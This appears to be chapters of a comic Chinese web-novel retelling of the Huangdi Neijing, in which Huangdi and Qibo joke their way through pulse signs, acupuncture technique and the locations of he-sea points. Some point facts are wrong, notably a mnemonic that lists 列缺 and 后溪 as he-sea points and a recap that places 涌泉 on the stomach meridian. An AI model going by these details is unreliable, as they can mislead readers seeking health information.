岐伯也不含糊，接着往下说：“咱们再说说这脾脉缓的事儿。要是脾脉慢得像蜗牛爬，那就是痿厥了。啥是痿厥？就是手脚软绵绵的，使不上劲儿，跟被抽了筋的橡皮泥似的。要是稍微慢点呢，那就是风痿，四肢虽然动不了，但大脑还跟cpu超频似的，转得飞快，心里头明镜似的，啥都知道，就是身体不给面子，你说气不气人？” 黄帝点头表示赞同：“这脾脉还真是有个性，快慢都能搞出事儿来！” 岐伯笑了笑，继续道：“咱们再来说说脾脉大的事儿。要是脾脉大得跟吹气球似的，那可要小心了，一不小心就能来个‘击仆’，也就是突然晕倒，跟演电视剧似的。要是稍微大点呢，那就是疝气了，肚子里像藏了个大气球，说不定还有脓血在肠胃外面溜达呢，那感觉，就跟肚子里装了个不定时炸弹似的，提心吊胆的！” 黄帝听得目瞪口呆：“岐伯，你这比喻，简直是医学界的段子手啊！” 岐伯谦虚地摆了摆手：“哪里哪里，咱们继续。要是脾脉小得跟针眼似的，那就是寒热交加了，一会儿冷得跟南极探险似的，一会儿热得跟沙漠烤串似的。要是稍微小点呢，那就是消瘅了，也就是身体日渐消瘦，跟减肥成功似的，但那可是病态的瘦啊，看着都心 疼！” 黄帝叹了口气：“这脾脉还真是变化多端，让人捉摸不透啊！” 岐伯点了点头：“没错，咱们再来说说这脾脉滑的事儿。要是脾脉滑得跟泥鳅似的，那就要小心了，也就是小便不通畅，跟水龙头被堵了似的。要是稍微滑点呢，那就是肚子里有虫毒了，什么蛔虫、蝎子之类的，在肚子里开派对，还自带加热功能，那肚子，热得跟蒸笼似的！” 黄帝听得哈哈大笑：“岐伯兄，你这描述，简直是人体内的‘虫虫总动员’啊！” 岐伯也忍不住笑了：“咱们最后说说这脾脉涩的事儿。要是脾脉涩得跟生锈的铁链似的，那就要小心肠子了，也就是肠梗阻，跟肠道交通堵塞似的。要是稍微涩点呢，那就是肠道里头有炎症了，多下脓血，那感觉，就跟肠道在举行‘红色风暴’派对似的，让人不忍直视啊！” ，！ 黄帝一脸好奇地问：“岐伯啊，我听说肾脉能反映出好多病症呢，什么缓急、小大、滑涩的，这些都代表啥病啊？你给我讲讲呗！” 岐伯一听，嘿，这可是他的专长啊，于是清了清嗓子，开始了他那绘声绘色的讲解：“黄帝啊，这肾脉啊，就像肾脏的小秘书，它要是急了，那可得小心了，可能是‘骨癫疾’找上门了。想象一下，骨头突然开始发疯，那可不是闹着玩的！当然了，如果它只是微微急了一下，那可能就是‘沉厥奔豚’了，感觉就像有只小猪在你肚子里横冲直撞，脚还软绵绵的，想跑都跑不快，连上厕所都成了大问题。” 黄帝一听，笑得差点岔气：“这肾脉还挺能闹腾的嘛！” 岐伯继续道：“别急，还有更逗的呢！要是肾脉缓得过分了，那你可能就得准备个轮椅了，因为‘折脊’可不是开玩笑的，腰都直不起来了！不过，要是它只是稍微缓了点，那就是‘洞’啦，听起来像是个神秘的洞穴，其实啊，就是吃什么都不消化，刚吃下去的东西，嗖的一下又从喉咙里冒出来了，你说逗不逗？” 黄帝笑得前仰后合：“这肾脉简直就是肠胃的恶作剧大师啊！” 岐伯接着讲：“肾脉要是大得过分了，那你可就得小心‘阴痿’了，这可不是什么好事啊！不过，要是它只是稍微大了点，那就是‘石水’了，听起来像是什么神奇的魔法水，其实啊，就是肚子从肚脐开始，一直到小腹都胀得鼓鼓的，跟怀了个大石头似的，要是再往上胀到胃脘，那可就不妙了，基本就等于宣判死刑了。” 黄帝一听，脸色都变了：“这么严重啊！那肾脉要是小呢？” 岐伯笑道：“肾脉要是小得过分了，那你就得准备好厕所纸了，因为你会不停地拉肚子，拉到怀疑人生！不过，要是它只是稍微小了点，那就是‘消瘅’了，听起来像是什么高级甜品，其实啊，就是人日渐消瘦，跟被什么东西偷偷吃掉了一样。” 黄帝听得津津有味：“这肾脉还真是变化多端啊！” 岐伯点点头：“没错，还有更神奇的呢！肾脉要是滑得过分了，那你可能就得准备个尿壶了，因为你会得‘癃’，就是小便不畅或者根本尿不出来！不过，要是它只是稍微滑了点，那就是‘骨痿’了，听起来像是什么软骨病，其实啊，就是坐久了站不起来，站起来又看不见东西，跟突然失明了一样。” 黄帝听得目瞪口呆：“这也太神奇了吧！那肾脉要是涩呢？” 岐伯笑道：“肾脉要是涩得过分了，那你可能就得准备个手术刀了，因为你会得大痈，就是身上会长出个大脓包，得开刀才能解决！不过，要是它只是稍微涩了点，那就是月经不调或者痔疮了，听起来像是女性专属问题，但其实男性也得小心哦！” 喜欢黄帝内经爆笑讲解版。 邪气藏府病形篇第四（六） 黄帝闲来无事，就琢磨起病来。他说：“哎，岐伯啊，你说这病啊，真是千奇百怪，变化无穷。要是按照病的不同变化来扎针，咱们该怎么搞呢？” 岐伯一听，嘿嘿一笑，说：“这事儿啊，简单！你看啊，那些个症状来得急的，多半是因为体内寒气太重；反过来，症状来得慢悠悠的，那可能就是热邪在作祟了。再比如说，有的病看起来气势汹汹，那其实是气多血少；有的呢，看起来就像个小绵羊，那是因为血气都少得可怜。还有的，摸起来滑溜溜的，那是阳气太旺，稍微有点热；要是摸起来涩涩的，那就是血多气少，稍微带点寒气了。” 黄帝一听，眼睛一亮：“哟呵，这么有意思？那咱扎针的时候，是不是也得讲究点技巧啊？” 岐伯点点头：“那是自然！你看啊，遇到那些急性的病，咱们得深扎针，还得留针久一点，就像是给寒气来个‘深度冻结’，让它们无处遁形。而那些慢性的热病呢，咱们就浅扎一下，然后嗖的一下把针拔出来，就像是给热邪来个‘闪电战’，让它们措手不及。” 黄帝听得津津有味，又问：“那对于那些气势汹汹的病，咱们是不是得狠狠地泻它一下？” 岐伯摆摆手：“非也非也！对于那种看起来很厉害，其实是气多血少的病，咱们得悠着点泻，千万别把血给泻出来了。就像是给气球放气，你得慢慢放，别一下子把气球给放炸了。” 黄帝哈哈大笑：“有意思！那滑溜溜和涩涩的病呢？” 岐伯说：“滑溜溜的病啊，咱们还是得浅扎针，然后快速拔出来，就像是给阳气太旺的家伙来个‘快速降温’。至于那些涩涩的病，咱们得精准地扎到脉上，然后顺着它的来龙去脉留针久一点。拔针之前，还得先按摩按摩，拔针之后，再按一下针眼，千万别让血出来了。就像是给生锈的锁加点润滑油，让它顺畅起来。” 黄帝一听，拍案叫绝：“妙哉！那对于那些血气都少的病呢？” 岐伯叹了口气：“那种病啊，说实话，扎针效果不大。咱们还是别开针方了，用点甘甜的药来调养调养吧。就像是给虚弱的人喝点鸡汤，补补身子。” 黄帝闲来无事，就跟岐伯聊起了天。黄帝说：“老岐啊，我听说五脏六腑的气啊，它们会在荥穴、俞穴那里溜达一圈，然后找个叫‘合’的地方汇合，你说这气是怎么走的？它们走的路线是咋样的？还有啊，它们汇合后又干啥去了？来来来，快给我讲讲这里面的门道。” 岐伯一听，心想：这黄帝陛下今天好奇心爆棚啊！于是，岐伯清了清嗓子，开始了他那既专业又不失幽默的讲解。 “陛下啊，这事儿啊，得从咱们中医的经络学说讲起。您知道吗？咱们人体里啊，有十二条正经，就像十二条高速公路，连接着五脏六腑。这些经络上布满了穴位，就像是高速公路上的服务区，给气血提供休息和补给的地方。” 黄帝点了点头，一副若有所思的样子。 岐伯接着说道：“咱们说的荥穴、俞穴啊，就像是这些服务区里的特色小店。荥穴呢，就像是快餐店，气血路过这里，可以快速补充点能量；俞穴呢，就像是按摩店，气血累了，可以在这里放松放松，疏通疏通筋骨。” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻倒是挺形象的！那‘合’呢？这个汇合的地方，是不是就像是个大型购物中心，气血们都在这里买买买，准备继续上路？” 岐伯也笑了：“陛下真是聪明绝顶！这个‘合’啊，确实就像是个大型购物中心。不过呢，它不仅仅是个购物的地方，还是个交通枢纽。气血在这里汇合后，会根据身体的需要，重新分配任务，该去五脏的去五脏，该去六腑的去六腑，忙得不亦乐乎。” 黄帝点了点头，又问：“那这些气血是怎么找到路的呢？它们会不会迷路啊？” 岐伯笑道：“陛下您真是幽默！这些气血啊，它们可聪明着呢！它们沿着经络走，就像我们开车沿着高速公路走一样，有明确的路线和指示牌。而且啊，它们还懂得‘交通规则’，知道什么时候该加速，什么时候该减速，什么时候该转弯。” 黄帝听了，更是笑得前仰后合：“岐伯啊，你这解释真是太逗了！那这些气血要是违反了‘交通规则’，会不会被罚款啊？” 岐伯也忍不住笑了：“陛下您真是想象力丰富！不过啊，气血要是真的‘违规’了，那身体可就要出问题了。比如说，气血流通不畅，就会导致疼痛、麻木；气血过盛或者不足，就会导致疾病。所以啊，咱们中医治病，就是要调整这些气血的流动，让它们按照规矩来，身 体自然就健康了。” 黄帝听了，连连点头：“原来如此！那针灸呢？针灸是不是就是给这些气血指路的交警啊？” 岐伯竖起了大拇指：“陛下英明！针灸啊，就像是给气血指路的交警。我们通过刺激穴位，可以调整气血的流动，让它们按照我们的意愿去五脏六腑。比如说，某个人胃痛，我们就可以通过针灸足三里穴，让气血多往胃里流一点，缓解胃痛。” 这章没有结束，请点击下一页继续阅读！ 黄帝听了，眼睛一亮：“老岐啊，你这针灸学问可真是博大精深啊！那你说说，这五脏六腑和针灸穴位之间，还有啥有趣的事儿吗？” 岐伯想了想，说道：“有啊！比如说，咱们的肺吧，它就像是身体里的鼓风机，给身体提供氧气，排出废气。肺经上的穴位啊，就像是鼓风机上的按钮，我们按一按，就可以调整肺的工作状态。还有心啊，它就像是身体里的发动机，给身体提供动力。心经上的穴位啊，就像是发动机上的油门和刹车，我们踩一踩或者松一松，就可以调整心的跳动速度。” 黄帝听得津津有味：“岐伯啊，你这比喻真是太妙了！那脾呢？脾在身体里扮演什么角色？” 岐伯笑道：“脾啊，它就像是身体里的营养师，负责把咱们吃进去的食物消化吸收，转化成身体需要的营养物质。脾经上的穴位啊，就像是营养师手里的勺子，我们搅一搅，就可以促进脾的消化功能。” 黄帝听了，哈哈大笑：“岐伯啊，你这中医针灸学问，简直就是一部人体喜剧大片啊！每个穴位都是个角色，每个经络都是个故事。以后我要是多懂点针灸，是不是也能给自己治治病，省得老是找你了？” 岐伯也笑了：“陛下您真是太幽默了！不过啊，针灸学问虽然有趣，但也需要专业知识和技能。您要是感兴趣，我可以教您一些基础的，但治病救人这种大事儿，还是得靠我们专业人士来干。” *。黄帝有一天突发奇想，决定找岐伯聊聊针灸的那些事儿。黄帝悠悠地开了口：“嘿，岐伯，你说这荥俞与合，它们是不是都各有各的小名儿啊？” 岐伯一听，心里暗自嘀咕：“这黄帝今儿个怎么突然对穴位这么感兴趣了？”但面上依旧保持着那云淡风轻的笑容，缓缓答道：“黄帝啊，你这问题问得可是真有水平！没错，荥俞和合穴啊，它们在中医针灸里，那可是各有各的管辖范围，各有各的独门绝技呢！” 黄帝一听，眼睛立马就亮了，跟发现了新大陆似的：“哦？快说说，快说说！” 岐伯清了清嗓子，开始了他的“穴位大揭秘”：“首先啊，咱们说这荥穴和俞穴，它们就像是中医界的‘边防战士’，专门负责守护咱们身体的‘外经’——也就是那些四肢上、离心脏比较远的经络。你想啊，这些经络就像是咱们身体的‘高速公路’，要是路上有啥风吹草动，比如寒气、湿气啥的，那荥穴和俞穴就得赶紧出手，把它们给挡在门外，或者干脆来个‘就地正法’，不让它们有机会祸害咱们的身体。” 黄帝听得连连点头，心里不禁感叹：“这荥俞两兄弟，还真是尽职尽责啊！” 岐伯一看黄帝这反应，心里那叫一个得意，接着又说道：“然后啊，咱们再来说说这合穴。合穴呢，就像是中医界的‘内务大臣’，它们专门负责打理咱们身体的‘内腑’——也就是那些五脏六腑的领地。这合穴啊，不仅位置比较深，藏在咱们身体的‘腹地’里，而且它们的功能还特别强大，能够调节咱们身体的各种机能，像是消化啊、排泄啊、呼吸啊，都得靠它们来帮忙。要是哪个脏腑出了啥岔子，比如胃疼了、肝火了，那对应的合穴就得赶紧出手，给它来个‘内部整顿’，让脏腑们都能安安稳稳地工作。” 黄帝一听，顿时觉得豁然开朗，原来这荥俞合穴还有这么多门道啊！不过呢，他也是个爱搞怪的人，于是又问道：“岐伯啊，你说这穴位们是不是也有啥‘性格差异’啊？比如有的穴位比较温柔，有的穴位就比较火爆？” 岐伯一听这话，差点没笑出来，心想：“这黄帝还真是爱开玩笑啊！”不过呢，他还是一本正经地答道：“黄帝啊，你还真别说，这穴位们还真有点‘性格差异’。比如有的穴位，像是足三里啊，那就是个‘老好人’，不管你是胃寒还是胃热，它都能给你调和一下，让你舒服点。但是呢，有的穴位，像是涌泉穴啊，那就比较‘有个性’了，你要是敢随便碰它，它可就得给你点‘颜色’瞧瞧了！” 黄帝一听这话，顿时笑得前仰后合，心想：“这岐伯啊，还真是会逗乐子！”不过呢，他也知道岐伯这是在用 幽默的方式给他讲解穴位的知识，于是赶紧收敛了笑容，认真听了起来。 岐伯一看黄帝这态度，心里那叫一个满意啊！于是又接着说道：“黄帝啊，这穴位啊，就像是咱们身体的‘小助手’，它们虽然各有各的功能、各有各的‘性格’，但都是为了让咱们的身体更健康、更快乐而存在的。所以啊，咱们平时啊，得多关注关注它们，多给它们一些关爱和呵护，这样它们才能更好地为咱们服务嘛！” 黄帝突发奇想，对着身边的岐伯说：“岐伯啊，你说咱们这身体里的内腑要是出了问题，该怎么治呢？是不是得开膛破肚，来个彻底大扫除啊？” 岐伯一听，差点没笑出声来，心想这黄帝还真是想象力丰富。他慢悠悠地回答：“皇上啊，您这可就想复杂了。咱们中医讲究的是‘以柔克刚’，哪用得着那么血腥暴力。要治理内腑，咱们有独门秘籍——取之于合！” 这章没有结束，请点击下一页继续阅读！ 黄帝一听，眉头一皱，心里嘀咕：“取之于合？这是啥高深的武功秘籍吗？” 岐伯见状，知道黄帝这是误会了，连忙解释道：“皇上别急，听我慢慢道来。这‘取之于合’啊，其实是咱们中医针灸理论里的一个精髓。中医把人体看作是一个整体，讲究的是阴阳平衡、五行相生相克。而内腑呢，就像是咱们身体的‘小国家’，各自有各自的职能，但又相互关联、相互影响。” 黄帝点了点头，表示自己在认真听。岐伯接着说道：“咱们中医治病啊，从来不搞一刀切，而是根据病情的不同，采用不同的方法。就像治理一个国家，得根据各地的民情、风俗来制定政策一样。而对于内腑的问题，咱们有一个特别的方法，就是通过刺激身体某些特定的穴位来调理。” 黄帝一听，眼睛一亮：“哦？这么说来，这些穴位就像是通往内腑的‘秘密通道’了？” 岐伯竖了个大拇指：“皇上真是聪明绝顶！没错，这些穴位就是咱们中医所说的‘合穴’。它们就像是身体的‘大使馆’，通过它们，咱们可以间接地影响到内腑的健康。” 黄帝一听，顿时来了兴趣：“那这些合穴都分布在哪里呢？是不是得全身搜索，跟寻宝一样？” 岐伯哈哈一笑：“皇上这比喻真是贴切。不过呢，这些合穴其实都有固定的位置，它们大多分布在咱们的四肢肘膝关节附近。比如胃经的合穴是足三里，脾经的合穴是阴陵泉，肾经的合穴是阴谷等等。每个合穴都对应着一个特定的内腑，通过针灸或者按摩这些穴位，就能达到调理内腑的效果。” 黄帝听得津津有味，忍不住插话道：“那这么说来，是不是只要掌握了这些合穴，就能成为一代医学大师了？” 岐伯摇了摇头，笑道：“皇上啊，您这可是把中医想得太简单了。虽然合穴确实是调理内腑的重要工具，但要想真正成为一名优秀的中医，还得掌握阴阳五行、脏腑经络、病因病机等一大堆知识呢。就像您治理国家一样，光知道几个政策可不够，还得了解民情、经济、文化等各方面的情况才行。” 黄帝一听，顿时觉得自己任重而道远。不过他还是不死心地问：“那有没有什么快速掌握这些合穴的方法呢？比如背个口诀啥的？” 岐伯想了想，说：“口诀倒是没有，不过我可以给您讲个笑话，让您在笑声中记住这些合穴。” 黄帝一听有笑话，顿时来了精神：“快说快说！” 岐伯清了清嗓子，说道：“从前啊，有个叫小明的学生，他特别怕背书。有一天，老师让他背诵十二经脉的合穴。小明怎么也记不住，急得满头大汗。突然，他灵机一动，编了个顺口溜：‘胃经三里肾阴谷，膀胱委中胆阳辅；小肠下巨大肠合，三焦委阳脾阴陵；心包曲泽肺尺泽，任脉列缺督后溪。’结果他还真记住了！从此以后，他每次考试都名列前茅，还成了班里的学霸呢！” 黄帝一听，哈哈大笑：“这小明还真是聪明绝顶啊！不过话说回来，这顺口溜还真挺好记的。” 岐伯也笑了：“是啊，这顺口溜不仅好记，而且把十二经脉的合穴都涵盖了进去。皇上要是多念几遍，说不定也能成为半个中医专家呢！” 黄帝一听，更是来了兴致：“那好啊，从今天开始，我就天天念这个顺口溜，争取早日成为一代医学大师！” 喜欢黄帝内经爆笑讲解版。 邪气藏府病形篇第四（七） 黄帝陛下突发奇想，问道：“岐伯啊，咱们人体里的这些经络穴位，它们之间是不是也有什么‘合作联盟’之类的名字啊？”岐伯一听，嘿，这黄帝陛下还真是会找乐子，于是他就慢悠悠地回答：“当然有啦，陛下您看，胃就跟三里穴那是铁哥们儿，大肠呢，跟巨虚上廉那是穿一条裤子的兄弟，小肠嘛，跟巨虚下廉那是形影不离的好伙伴。还有啊，三焦跟委阳那是情同手足，膀胱跟委中那是肝胆相照，胆呢，跟阳陵泉那是铁打的交情！” 黄帝一听，乐了：“哟呵，这人体里还挺热闹的嘛！来来来，岐伯，你给朕详细说说，这些‘合作联盟’到底都是咋回事儿？” 岐伯一看黄帝陛下兴趣盎然，于是就开启了“穴位大讲堂”模式。 岐伯说：“先说胃和三里穴吧。这三里穴啊，现在咱们都管它叫‘足三里’，位置在小腿外侧，犊鼻下3寸，胫骨前嵴外1横指处。您想啊，胃是咱们人体的‘大粮仓’，负责消化食物，吸收营养。而足三里呢，就像是胃在人体表面的‘代言人’，经常按摩或者针灸这个穴位，能够调理脾胃，增强食欲，促进消化。所以啊，胃和足三里那就是‘吃货联盟’，专治各种不想吃饭、消化不良的毛病！” 黄帝一听，哈哈大笑：“原来如此，以后朕要是食欲不振了，就找这‘吃货联盟’帮忙！” 岐伯接着说：“再来说说大肠和巨虚上廉。巨虚上廉现在咱们也叫它‘上巨虚’，在小腿前外侧，当犊鼻下6寸，距胫骨前缘一横指（中指）。大肠嘛，咱们都知道，是人体里的‘排污管道’，负责把体内的垃圾毒素排出去。而上巨虚呢，就像是大肠在人体表面的‘排污口’，经常按摩或者针灸这个穴位，能够调理大肠功能，促进排便，缓解便秘。所以啊，大肠和上巨虚那就是‘排毒联盟’，专门对付各种肠道问题！” 黄帝一听，眼睛一亮：“妙哉！以后朕要是便秘了，就找这‘排毒联盟’解决！” 岐伯又说：“接下来是小肠和巨虚下廉。巨虚下廉咱们现在也叫它‘下巨虚’，在小腿前外侧，当犊鼻下9寸，距胫骨前缘一横指（中指）。小肠啊，是咱们人体的‘营养加工厂’，负责吸收食物中的营养精华。而下巨虚呢，就像是小肠在人体表面的‘营养站’，经常按摩或者针灸这个穴位，能够调理小肠功能，促进营养吸收。所以啊，小肠和下巨虚那就是‘营养联盟’，专门负责给人体加油打气！” 黄帝一听，频频点头：“不错不错，以后朕要是营养不良了，就找这‘营养联盟’补补！” 岐伯继续讲：“然后是三焦和委阳。委阳这个穴位啊，在腘横纹外侧端，当股二头肌腱的内侧。三焦嘛，是人体里的‘大通道’，负责疏通气血，调节水液代谢。而委阳呢，就像是三焦在人体表面的‘疏通口’，经常按摩或者针灸这个穴位，能够调理三焦功能，疏通经络，缓解水肿。所以啊，三焦和委阳那就是‘疏通联盟’，专门负责给人体‘通下水道’！” 黄帝一听，笑得前仰后合：“哈哈，朕还是头一次听到这么形象的比喻！以后朕要是水肿了，就找这‘疏通联盟’排水！” 岐伯又说：“最后是膀胱和委中。委中这个穴位啊，在腘窝正中，当股二头肌腱与半腱肌肌腱的中间。膀胱嘛，是人体里的‘储水罐’，负责储存和排泄尿液。而委中呢，就像是膀胱在人体表面的‘放水阀’，经常按摩或者针灸这个穴位，能够调理膀胱功能，促进排尿，缓解尿痛。所以啊，膀胱和委中那就是‘利尿联盟’，专门负责给人体‘放水’！” 黄帝一听，乐不可支：“哈哈，岐伯啊，你这比喻真是太逗了！以后朕要是尿痛尿不尽了，就找这‘利尿联盟’帮忙！” 岐伯一看黄帝陛下这么开心，于是又加了一个：“对了，还有胆和阳陵泉这对儿‘壮胆联盟’。阳陵泉在小腿外侧，当腓骨头前下方凹陷处。胆嘛，是人体里的‘勇士’，负责决断和勇敢。而阳陵泉呢，就像是胆在人体表面的‘勇气源泉’，经常按摩或者针灸这个穴位，能够调理胆功能，增强勇气，缓解胆怯。所以啊，胆和阳陵泉那就是‘壮胆联盟’，专门负责给人体打气壮胆！” 黄帝一听，笑得眼 泪都出来了：“哈哈，岐伯啊，你这‘壮胆联盟’真是绝了！以后朕要是胆小了，就找它们壮壮胆！” 黄帝陛下听得津津有味，收获满满。他笑着对岐伯说：“岐伯啊，你这穴位讲解真是生动有趣，让朕大开眼界！以后朕要是身体有什么不适，就找这些‘合作联盟’帮忙了！” 岐伯一听，也笑了：“陛下过奖了。其实啊，咱们人体里的这些经络穴位啊，都是相互关联、相互作用的。只要咱们平时多关注它们、爱护它们，它们就会成为咱们身体健康的‘守护神’！” 黄帝问：“岐伯啊，你说咱们中医里那些神奇的穴位，到底是怎么取穴的呢？有没有什么独门秘籍啊？”岐伯一听，嘿嘿一笑，说：“这事儿啊，简单！来来来，我给你说道说道。” 岐伯清了清嗓子，开始娓娓道来：“比如说，咱们有个穴位叫足三里，这可是个养生大穴啊！要想取准这个穴，你得让病人把脚放低，然后顺着小腿外侧往上摸，摸到膝盖下三寸、胫骨外侧一横指的地方，那就是足三里了。这个穴位啊，就像是身体的小太阳，能温阳散寒、健脾和胃，经常按按，身体倍儿棒！” 黄帝一听，眼睛一亮：“哦？这么神奇？那巨虚穴呢？” 岐伯笑了笑：“巨虚穴啊，分上巨虚和下巨虚。咱们先说下巨虚吧，要想取这个穴，你得让病人抬起脚来，小腿肌肉放松。然后，在足三里往下六寸的地方，也就是胫骨前肌和趾长伸肌之间，找个凹陷处，那就是下巨虚了。这个穴位啊，是调理肠胃的小能手，腹泻、便秘什么的，找它准没错！” 黄帝点了点头：“嗯，有意思。那委阳穴呢？” 岐伯接着说：“委阳穴啊，在膝盖后面，腘横纹的外侧端。要想取准这个穴，你得让病人屈伸膝盖，然后在腘窝的外侧找个鼓起的小包包，那就是委阳了。这个穴位啊，就像是身体的水龙头开关，能调节水液代谢，利尿消肿啥的，效果杠杠的！” 黄帝听得津津有味：“哈哈，原来穴位还有这么多讲究啊！那委中穴呢？” 岐伯说：“委中穴啊，也是膝盖后面的一个大穴。要想取准它，你得让病人屈起膝盖，然后在腘窝的正中间找个凹陷处，那就是委中了。这个穴位啊，可是个治疗腰背疼痛的绝招！腰酸背痛腿抽筋，找它揉一揉，立马舒服多了！” 黄帝拍手叫好：“哈哈，岐伯啊，你这一说，我感觉自己都能成半个中医了！那阳陵泉呢？” 岐伯笑了笑：“阳陵泉啊，在小腿外侧，膝盖下面一点。要想取准这个穴，你得让病人站直，膝盖竖起来，然后在腓骨小头前下方找个凹陷处，那就是阳陵泉了。这个穴位啊，就像是身体的舒筋活络油，能疏肝利胆、舒筋活络，对于胆囊炎、胆结石、肋间神经痛啥的，都有很好的缓解作用！” 黄帝听得眉飞色舞：“哈哈，岐伯啊，你这穴位秘籍真是太棒了！不过啊，你说取诸外经者，揄申而从之，这是啥意思啊？” 岐伯解释说：“这句话啊，意思是说在取身体外侧经络的穴位时，要顺着经络的走向来取穴。比如说，手阳明大肠经的穴位，你就得从手指尖开始，顺着胳膊往上摸，一路摸到肩膀上；足阳明胃经的穴位呢，你就得从脚趾尖开始，顺着腿往上摸，一路摸到膝盖、大腿上。这样顺着经络来取穴，效果才会更好！” 黄帝又开始了他的求知之旅，他眨巴着智慧的小眼睛，对岐伯说：“岐伯啊，我这心里老是惦记着六腑那些个病症，特别是足阳明和手阳明这两条经络要是出了问题，那表现都是啥样的呢？你给咱详细说说呗。” 岐伯一听，嘿，黄帝这是要考我呢！于是，他捋了捋下巴上那几根稀疏的胡子，故作深沉地说：“好嘞，大帝您听好了。要是有人脸上热得跟蒸笼似的，那八成是足阳明胃经出了岔子。您想啊，胃是咱人体的火炉子，它一不对劲儿，脸上能不热嘛！还有啊，要是发现手上那‘鱼际穴’周围红红的，跟被蚊子叮了似的，那肯定是手阳明大肠经在闹脾气了。” 黄帝一听，眉头一皱，心说：“这解释虽然简单粗暴，但似乎还差点意思。”于是，他继续追问：“那还有其他什么症状能一眼看出这两条 经络的问题呢？” 岐伯微微一笑，神秘地说：“大帝，您看这人的两只脚底板，就是咱们常说的‘涌泉穴’往上的那片区域，要是发现那里的脉搏跳得跟打了鸡血似的，还陷进去了，那绝对是足阳明胃经在报警呢！这可是咱们中医里头的‘独门秘籍’，一般人我都不告诉他哦！” 黄帝一听，眼睛一亮，心想：“这岐伯还真有两把刷子！”不过，他转念一想，这解释虽然到位，但还不够接地气，得让咱老百姓也能一听就懂，于是，他决定给这段对话加点料，让它变得更有趣、更易懂。 于是，黄帝清了清嗓子，开始了他那爆笑版的中医讲解：“各位看官，今儿个咱们就来聊聊这六腑之病，特别是足阳明胃经和手阳明大肠经的那些事儿。您要是觉得这中医理论枯燥难懂，那可就大错特错了！来来来，咱们先说说这足阳明胃经。” “想象一下，您要是哪天一觉醒来，发现自己脸上热得能煎蛋，那可不是因为您昨晚做梦梦到火锅吃多了，而是您的足阳明胃经在跟您打招呼呢！为啥这么说呢？您想啊，胃是咱们人体的‘粮仓’，它要是工作得太拼命，或者吃进去的东西不对劲儿，那不得先给您发个‘高温预警’嘛！这时候，您就得注意了，是不是最近吃得太过油腻，或者熬夜加班把胃给累坏了？” “接下来，咱们再聊聊这手阳明大肠经。您要是发现自己手掌上那‘鱼际穴’周围红彤彤的，跟被爱情滋润过似的，那可得小心了，这很可能是手阳明大肠经在跟您说：‘嘿，哥们儿，我最近有点便秘，你得帮我疏通疏通！’这‘鱼际穴’啊，就在您大拇指根部那块儿肉嘟嘟的地方，轻轻一按，要是觉得酸痛，那就是大肠经在向您求救了。” “当然了，这还不够。咱们中医讲究的是‘望闻问切’，光看脸上和手上的症状可不够全面。您还得瞅瞅这人走路的样子，特别是脚底板。要是发现有人走路跟踩了弹簧似的，脚底板的脉搏跳得跟要飞起来一样，还凹进去了，那绝对是足阳明胃经在向您发出紧急信号：‘喂，皇上，我这胃啊，最近可能得请个假，休息一下了！’” 说到这里，黄帝忍不住笑了：“您看，这中医理论其实也挺有意思的，不是吗？它就像是一个个有趣的谜题，等着我们去解开。而且，这每一条经络，每一个穴位，都像是一个个忠诚的小卫士，时刻守护着我们身体的健康。” “就拿这足阳明胃经来说吧，它可是咱们人体里的‘大胃王’，负责消化和吸收食物中的营养。要是它出了问题，那咱们就得好好反思一下，是不是最近吃得太过放肆，或者生活习惯不太好，把这位‘大胃王’给惹毛了？” “至于这手阳明大肠经嘛，它就像是咱们身体里的‘清洁工’，负责把体内的垃圾和毒素排出体外。要是它堵了，那咱们可就得小心了，便秘、皮肤长痘、口臭这些问题都可能找上门来。” “所以啊，各位看官，咱们平时一定要多关注自己身体的这些‘小卫士’，多给它们一些关爱和呵护。比如，您可以经常按摩一下这些穴位，帮它们放松放松；或者，您还可以调整一下自己的饮食和生活习惯，让它们能够更好地为我们服务。” “当然了，要是您觉得这中医理论还是太复杂，记不住怎么办？没问题！我这儿有个绝招儿，您只需要记住一句话：‘脸上热，胃经闹；鱼际红，大肠叫；脚底跳，胃经告。’怎么样？是不是简单易懂，朗朗上口？” 黄帝说到这里，岐伯也忍不住笑了：“大帝啊，您这解释可真是绝了！既通俗易懂，又充满了幽默感，相信咱老百姓一听就能明白，还能乐在其中呢！” 最后，咱们再回顾一下这些重要的穴位和它们的作用吧！ 鱼际穴：位于手掌大拇指根部那块儿肉嘟嘟的地方。经常按摩这个穴位可以帮助缓解咳嗽、咽喉肿痛、声音嘶哑等问题，还能促进大肠经的通畅，改善便秘等问题。 涌泉穴：虽然黄帝没有直接提到这个穴位，但它是足阳明胃经和足少阴肾经的交汇点，位于脚底板的前三分之一处。按摩这个穴位可以帮助缓解疲劳、改善睡眠、促进血液循环等。 足三里：这是足阳明胃经上的一个 重要穴位，位于小腿外侧，膝盖骨下方约三寸的地方。经常按摩这个穴位可以帮助调理脾胃、增强体质、提高免疫力等。 邪气藏府病形篇第四（八） 话说有一天，黄帝闲来无事，便对岐伯说：“嘿，岐伯，我这人啊，就好奇心重，啥都想知道。今儿个就想听听六腑里的那个大肠要是病了，会是个啥情况呢？”岐伯一听，哈哈一笑，说：“黄帝啊，你这问题问得好，我这就给你细细道来。” 岐伯清了清嗓子，开始说道：“要说大肠病啊，那症状可不少。你得想象一下，这大肠里头要是出了毛病，那感觉就像是肚子里有个搅拌机在疯狂搅拌，疼得那叫一个撕心裂肺，还伴随着‘咕噜咕噜’的响声，就像是肚子在唱歌，不过这歌可不怎么好听，简直是‘濯濯’之音，听着都让人心里发毛。” 黄帝一听，笑得差点没岔气：“这大肠病还自带音效呢？哈哈，有意思。” 岐伯接着说：“更有趣的还在后头呢。要是这大肠病在冬天再碰上寒气侵袭，那可就更热闹了。你想想啊，本来就疼得要命，再一受凉，大肠就开始‘罢工’，直接就开始拉肚子了。这拉肚子可不是一般的拉，那是‘当脐而痛’，就是肚脐眼周围疼得死去活来，站都站不稳。那感觉，就像是肚子里有个调皮的小鬼在捣乱，非得让你躺床上不可。” 黄帝一听，忍不住笑道：“这大肠病还真是够折腾人的。那咱得怎么治呢？” 岐伯说：“这你就不懂了吧。治大肠病啊，得和胃一起治，因为它们俩是‘同伙’嘛。治疗上呢，有个穴位特别管用，那就是巨虚上廉。不过啊，在现代穴位名称里，它还有个更响亮的名字，叫做‘上巨虚’！” 黄帝一听，眼睛一亮：“上巨虚？这名字听起来还挺有范儿的。那这个穴位到底在哪儿呢？” 